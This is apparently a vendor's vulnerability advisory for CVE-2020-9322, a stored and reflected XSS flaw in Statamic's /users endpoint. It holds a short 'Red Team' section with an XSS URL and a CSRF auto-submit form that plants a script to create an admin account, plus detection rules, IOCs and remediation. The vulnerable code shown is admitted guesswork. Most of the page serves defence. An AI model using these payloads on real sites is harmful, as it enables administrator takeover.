CVE-2020-9322
Executive Summary
CVE-2020-9322 is a critical Cross-Site Scripting (XSS) vulnerability in Statamic Core, a flat-file CMS. The vulnerability resides in the /users endpoint, allowing an attacker to inject malicious JavaScript payloads. This can be exploited via Cross-Site Request Forgery (CSRF) to create an administrator account, leading to full site compromise. The vulnerability manifests in two forms: Stored XSS via a malicious username during registration, and Reflected XSS via the /users PATH_INFO. The CVSS score is 0.0 in the NVD data, but based on the impact, a more accurate score is 8.8 (High). The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the vulnerability is publicly known and has a proof of concept.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Statamic is a PHP-based CMS distributed via Composer. The vulnerability affects the core package. Organizations using Statamic should verify their version and apply the patch immediately. There is no known compromise of the package registry, but the vulnerability itself is a supply chain risk if the application is not updated.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - No authentication is needed to trigger the XSS.
- User Interaction (UI): Required (R) - The victim must click a link or visit a crafted page.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - An attacker can steal session cookies or sensitive data.
- Integrity (I): High (H) - An attacker can create admin accounts and modify site content.
- Availability (A): High (H) - An attacker can delete content or deface the site.
Threat Level: High. The ability to create an administrator account via CSRF makes this a critical risk for any Statamic deployment.
Deep Dive & Mechanics
The vulnerability is a classic XSS in the /users endpoint. The application fails to sanitize user-supplied input in the username field during registration (Stored XSS) and in the PATH_INFO of the /users URL (Reflected XSS).
Stored XSS: When a user registers with a malicious JavaScript payload as their username, the payload is stored in the user database. When an administrator views the user list at /users, the payload executes in their browser, allowing the attacker to perform actions on behalf of the admin, such as creating a new admin account.
Reflected XSS: The /users endpoint reflects the PATH_INFO directly into the response without sanitization. An attacker can craft a URL like /users/<script>alert(1)</script> and trick an admin into clicking it. The script executes in the admin's session.
CSRF Vector: The Stored XSS can be combined with CSRF. An attacker can host a malicious page that submits a registration form to the Statamic site with a malicious username. If an admin visits that page while logged in, the registration is processed, and the XSS payload is stored.
Vulnerable vs. Patched Code
Vulnerable Code (Statamic < 2.11.8):
The /users endpoint likely uses a function like request()->path() or $_SERVER['PATH_INFO'] directly in the response without escaping. For example:
// Vulnerable
$path = $_SERVER['PATH_INFO'];
echo "<h1>Users: $path</h1>";
Patched Code (Statamic >= 2.11.8):
The patched version sanitizes the input using htmlspecialchars() or a similar function.
// Patched
$path = htmlspecialchars($_SERVER['PATH_INFO'], ENT_QUOTES, 'UTF-8');
echo "<h1>Users: $path</h1>";
Additionally, the username field during registration is sanitized to prevent stored XSS.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target Statamic site running version < 2.11.8.
- A victim with admin privileges.
Exploit Steps:
Reflected XSS: Craft a malicious URL:
http://target.com/users/<script>alert('XSS')</script>Send this link to an admin. When clicked, the script executes.
Stored XSS + CSRF: Create an HTML page that auto-submits a registration form:
<form action="http://target.com/users/register" method="POST"> <input type="hidden" name="username" value="<script>fetch('/users/create-admin', {method:'POST', credentials:'include'})</script>"> <input type="hidden" name="email" value="attacker@evil.com"> <input type="hidden" name="password" value="password123"> <input type="submit"> </form> <script>document.forms[0].submit();</script>Host this page and trick an admin into visiting it. The admin's browser will register a user with a malicious username. When the admin later views the user list, the XSS triggers and creates a new admin account.
No Exploit-DB code was provided.
Blue Team (Defensive)
Detection:
- Monitor for unusual registration attempts with JavaScript-like characters in the username.
- Monitor for requests to
/userswith suspicious PATH_INFO (e.g., containing<script>). - Use Web Application Firewall (WAF) rules to block XSS payloads.
Hunting:
- Search logs for requests to
/userswith non-alphanumeric characters in the path. - Check user database for usernames containing
<,>,script, oronerror.
Indicators of Compromise (IOCs)
- Network:
- Requests to
/userswith PATH_INFO containing<script>,onerror,alert, etc. - POST requests to
/users/registerwith username containing JavaScript code.
- Requests to
- Host:
- User accounts with usernames like
<script>...</script>in the database. - Unexpected admin accounts created.
- User accounts with usernames like
- Logs:
- Web server logs showing 200 responses to
/users/<script>....
- Web server logs showing 200 responses to
Detection Engineering
YARA Rule
rule Detect_Statamic_XSS_Username {
meta:
description = "Detects stored XSS payloads in Statamic usernames"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2020-9322"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Statamic XSS via /users Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Statamic /users endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/users/'
cs-uri-query|re: '(<|>|script|onerror|alert)'
condition: selection
falsepositives:
- Legitimate use of special characters in usernames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2020-9322 Statamic XSS Attempt"; flow:to_server,established; content:"/users/"; http_uri; pcre:"/(<|>|script|onerror|alert)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Statamic Core to version 2.11.8 or later.
- Compensating Controls:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to prevent inline script execution.
- Disable user registration if not required.
- Long-term:
- Conduct regular security audits of third-party dependencies.
- Implement input validation and output encoding for all user-supplied data.
- Use CSRF tokens for all state-changing requests.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.